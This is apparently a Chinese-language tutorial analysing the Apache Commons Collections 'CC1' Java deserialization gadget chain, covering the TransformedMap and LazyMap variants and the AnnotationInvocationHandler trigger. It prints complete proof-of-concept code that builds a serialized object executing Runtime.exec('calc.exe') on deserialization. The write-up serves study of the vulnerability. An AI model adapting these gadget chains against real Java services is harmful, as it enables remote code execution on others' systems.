Transformer Map 链

RCE原理

我在网上找到了一则利用代码,虽然这个利用代码很粗浅,并没有CC链1的触发过程,但是对于这条链的原理还是可见一斑的。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

TransformerMap类

TransformerMap类是造成这个漏洞的原因之一

TransformerMap是apacheCommonsCollections里提供的一个数据类型。它可以修饰一个Map类型的对象。当修饰过的Map添加新元素时,它会调用在decorate里声明好的Trasnformer类的transform方法并传入新添的键名或值名。

Map DecoratedMap = TransformedMap.decorate(Map,keyTransformer,
valueTransformer)

keyTransformer和valueTransformer分别指向不同的Transformer类。

Transformer类

我们看一下Transformer类

QQ截图20210217150055

可以发现它只是一个借口,他的方法需要其他子类实现。
当TransformerMap在新添元素时就会调用decorate里设定好的Transformer类的transform方法。
它的接口实现类有以下几个。

ConstantTransformer

这个类主要的两个方法就是这俩了。

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

没什么好说的,就是把传入的对象原原本本返回。

InvokerTransformer

也是两个重要方法

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

就是传入方法名,参数类型和参数,然后通过反射来执行这个方法

ChainedTransformer

也是两个重要方法

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

就是把传入的多个Transfomer类的transformer方法依次执行,每个transformer方法执行后返回的对象会被当做下一次执行的时候传入的参数。

通过以上信息,我们就可以清晰的看懂上面的payload了。
先通过ConstantTransformer获得 Runtime类,再通过InvokerTransformer执行exec方法,然后通过ChainedTransformer将两个类串起来,让InvokerTransformer以ConstantTrasformer返回的Runtime类为参数执行exec方法,达到RCE的目的。

触发

触发,我们选择的地方是sun.reflect.annotation.AnnotationInvocationHandler的readObject方法,反序列化的入口点基本都在这里:readobjcect方法。(注意8u71以下才能有触发点,之后的版本已被修复)

QQ截图20210217150130

触发点代码。
我们可以发现,它对传入的map的每一个value执行了setValue。

QQ截图20210217150142

可以很明显的发现会对值进行transform方法。也就是相当于触发了一次Map.put()。接下来,就是payload构造时间了。

但是 AnnotationInvocationHandler 是内部类无法直接实例化,但它的父类InvocationHandler可以,我们可以通过反射得到 AnnotationInvocationHandler 构造方法,然后对其使用newInstance再向上转型为父类 InvocationHandler 。既然要获得对象,我们就应该关注一下它的构造方法。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

要传入两个参数,var2不用说了就是我们传入的Map,var1呢?是Annotation类,即所有注释类的接口。我们必须在此处传入一个注释类才能使if判断为真,才能把我们的参数中的Map传入。
但是并不是所有注释类传进去都有效,注释类(实际上就是接口)必须有定义的方法才能正常触发反序列化。关于此点我们后面再详细谈谈。

因为再readObject方法里我们会执行**Map var3 = var2.memberTypes()**,我们看看memberTypes源码。

发现是返回构造方法中定义好的memberTypes属性。而这个memberTypes属性又和上一行的var2属性有关,var2属性又与getDecalredMethods有关…因此我才猜测 “注释类必须有定义的方法才能正常触发反序列化 “,但实际结果确实如此。
目前找到的能够正常触发漏洞的注释类有 Target Retention SuppressWarnings .无一例外他们作为接口都定义了方法。而且在我翻阅一些参考文档后,发现确实是这样

另外一点需要注明的是,Runtime类没有继承Serialize接口,也就是说它不能被直接序列化。
也就是说如果我们在transformer链里想直接通过有*new ConstantTransformer(Runtime.\getRuntime*())**来获取Runtime对象时,会反序列化失败。
但是Class类是有继承Serialize接口的,我们可以通过transformer链和反射来在反序列化阶段逐步创建Runtime类,继而解决这个问题

总结一下几个坑点:
1.Runtime类不能被序列化
\2. AnnotationInvocationHandler 无法直接实例化,可通过反射获得对象
3.注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类
OK,以上知道了后就能试着写一下payload了(这个payload依旧不能正常执行,错误出处间代码注释,具体原因看下文)。

import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.util.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class test2 {
public static void main(String[] args){
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{new String("getRuntime"),new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc.exe")}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("sc","b"); //不能执行的原因在这里,如果是put("value","a")就可以正常执行
Map outmap = TransformedMap.decorate(innermap,null,chain);

Class Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationCons = Annotation.getDeclaredConstructor(Class.class,Map.class);
AnnotationCons.setAccessible(true);
InvocationHandler InvocationHandler = (InvocationHandler) AnnotationCons.newInstance(Target.class,outmap);

ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
a.writeObject(InvocationHandler);
a.close();
ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
b.readObject();
b.close();
}
catch (Exception e){e.printStackTrace();}
}

}

为什么不能执行,这原因与上面提到的“ 注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类 ”很有关联。
因为涉及JVM的一些东西,我们不会怎么去深究,就是浅浅的看一下,做出一些推测。

首先我们关注到 AnnotationInvocationHandler 的readObject。

QQ截图20210217150215

接下来就是复杂的推理了,建议先把各方法的意义弄明白
发现必须要var7!=null才能正常触发反序列化漏洞,那么var7的来源是从(Map)var3中获得以(String)var6为键名的值。var6是var3中一项的键名。而var3的来源是(Annotation)var2的menberTypes,我们跟进这个方法。

QQ截图20210217150244

那么var1就是AnnotationInvocationHandler的type属性了,而这个type属性在其构造方法中就定义好了,是传入的注释类。
也就是说var1就是我们在实例 AnnotationInvocationHandler 时传入的注释类。
结合以上流程,我们就可以知道这个过程是:
从 实例 AnnotationInvocationHandler 时传入的注释类 中获取最后一个方法,然后把它编入为一个HashMap(以下称为注释方法Map)的一个键名并给予值。在readObject时会遍历传入的Map,如果在传入的Map中找到了一项的键名在注释方法Map中存在(即 在传入的Map中找到了一项的键名与实例化时传入的注释类的最后一个方法同名),则if条件为真,攻击成功。
所以上面为什么put(“value”,任意)才能达成攻击的原因是, Target Retention SuppressWarnings 这三个注释类都有且只有一个方法名为value的方法。

QQ截图20210217150343

分析完了。这个洞利用版本只能在8u71以前,比较古老无用。

LazyMap链

RCE原理

LazyMap的获得方法和TransfromerMap差不多。

    Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}

在对LazyMap使用get方法时,它会执行this.factory.transform(key),而this.factory.transform如果去跟进分析的话,实质上就是调用我们在decorate传进去的Transformer类。

触发

LazyMap的触发点也在 AnnotationInvocationHandler 中,但不是在readObject方法,而是在invoke方法。invoke方法中有一行

Object var6 = this.memberValues.get(var4);

其中this.memberVales是在构造方法中定义为传入的Map。

那么invoke方法要怎么才能触发呢?答案是动态代理。
熟悉动态代理的朋友肯定直到,invoke方法时动态代理中的一个特殊的方法,在代理类中无论执行什么方法,实质上都是在执行invoke方法。

那么接下来就是骚思路了:
我们通过反射和向上转型得到一个 AnnotationInvocationHandler(Class var1, Map var2) 对象。
构建一个Map的代理类,其第三个参数是刚刚得到的 AnnotationInvocationHandler 对象,再故技重施将其通过向上转型得到一个 AnnotationInvocationHandler 对象。当该对象反序列化执行readObjct方法时,会执行一下entryset方法

QQ截图20210217150359

本质上来说,是对一个代理类执行了一下entrySet方法,即执行了代理类的invoke方法,又因为代理类的第三个参数填入的是 AnnotationInvocationHandler 对象,其内部已经写好了invoke方法,所以此处执行的代理类的invoke方法即 AnnotationInvocationHandler 对象的invoke方法,继而触发了get方法,继而触发了漏洞。这是一个很妙的地方

多说无益,整paylaod吧

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception {
org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime",
null,
}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
null,
null,
}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
"calc"
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outermap = LazyMap.decorate(innermap, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
//妙处
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);//获得一个AnnotationInvocationHandler对象
Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);//创建一个Map的代理类,其代理方法为AnnotationInvocationHandler对象里的invoke方法
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox); //将代理Map传入,当代理Map被执行任一方法时,执行invoke方法
//
ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream("a.bin"));
a.writeObject(handler1);
ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
b.readObject();
}
}